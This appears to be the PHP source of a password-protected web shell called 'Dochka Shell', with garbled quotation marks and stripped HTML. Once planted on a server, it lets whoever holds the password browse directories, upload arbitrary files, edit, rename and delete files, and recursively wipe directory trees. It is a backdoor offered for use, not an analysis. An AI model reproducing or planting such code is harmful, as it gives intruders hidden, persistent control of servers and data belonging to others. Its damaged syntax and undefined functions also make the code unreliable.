Dochka Shell
Pass:
« ;
if(isset($_POST[‘minim_pass’])){
if($_POST[‘minim_pass’] == $auth){
$_SESSION[‘admin’] = true;
pindah(‘?home’);
} else {
alert(‘WRONG PASSWORD!’);
pindah(‘?retry’);
}
}
}
function write($content,$dir){
$fh = fopen($dir, »w »);
if(fwrite($fh,$content)){
fclose($fh);
return true;
}
fclose($fh);
return false;
}
function delTree($dir){
$files = array_diff(scandir($dir), array(‘.’, ‘..’));
foreach ($files as $file) {
(is_dir(« $dir/$file »)) ? delTree(« $dir/$file ») : unlink(« $dir/$file »);
}
return rmdir($dir);
}
function alert($msg){
echo « « ;
}
function pindah($dir){
echo « « ;
}
if($_SESSION[‘admin’] === true){
echo «
Dochka Shell
$dir = $_GET[‘dir’] ?? getcwd();
echo « Server IP: « .serverip(). » | Your IP: « .$_SERVER[‘REMOTE_ADDR’]. »
« ;
echo « Home | + File | + Dir | Exit
« ;
// File Upload
if(isset($_POST[‘upload’]) && isset($_FILES[‘vulnfile’])){
$dest = $dir.’/’.basename($_FILES[‘vulnfile’][‘name’]);
if(move_uploaded_file($_FILES[‘vulnfile’][‘tmp_name’], $dest)){
echo « Upload Successful
« ;
} else {
echo « Upload Failed
« ;
}
}
// New File
if(isset($_GET[‘nf’])){
echo «
« ;
if(isset($_POST[‘fok’])){
pindah(« ?edit=$dir/ ».$_POST[‘fname’]. »&dir=$dir »);
}
}
// New Directory
if(isset($_GET[‘nd’])){
echo «
« ;
if(isset($_POST[‘fok’])){
if(mkdir(« $dir/ ».$_POST[‘fname’])){
echo « Directory Created Successfully »;
} else { echo « Failed »; }
}
}
// Edit File
if(isset($_GET[‘edit’])){
$save = $_GET[‘edit’];
$cont = htmlspecialchars(file_get_contents($save));
echo «
« ;
if(isset($_POST[‘savefile’])){
if(write($_POST[‘fcont’],$save)){
alert(‘File Saved Successfully’);
} else { alert(‘Failed to Save’); }
}
}
// File/Directory Listing
echo «
| $file | « .(is_dir($path) ? « Folder » : filesize($path). » bytes »). » |
Delete | Rename |
« ;
// Delete file
if(isset($_GET[‘del’])){
if(is_file($_GET[‘del’]) && unlink($_GET[‘del’])){
echo « Deleted Successfully »;
}
}
// Rename file/dir
if(isset($_GET[‘renf’])){
$now = $_GET[‘renf’];
echo «
« ;
if(isset($_POST[‘fok’])){
$new = $_POST[‘fname’];
if(rename($now, »$dir/$new »)){
echo « Renamed Successfully »;
} else { echo « Failed »; }
}
}
// Exit
if(isset($_GET[‘exit’])){
session_destroy();
pindah(‘?home’);
}
// Upload Form
echo «
« ;
} else {
login();
}
?>
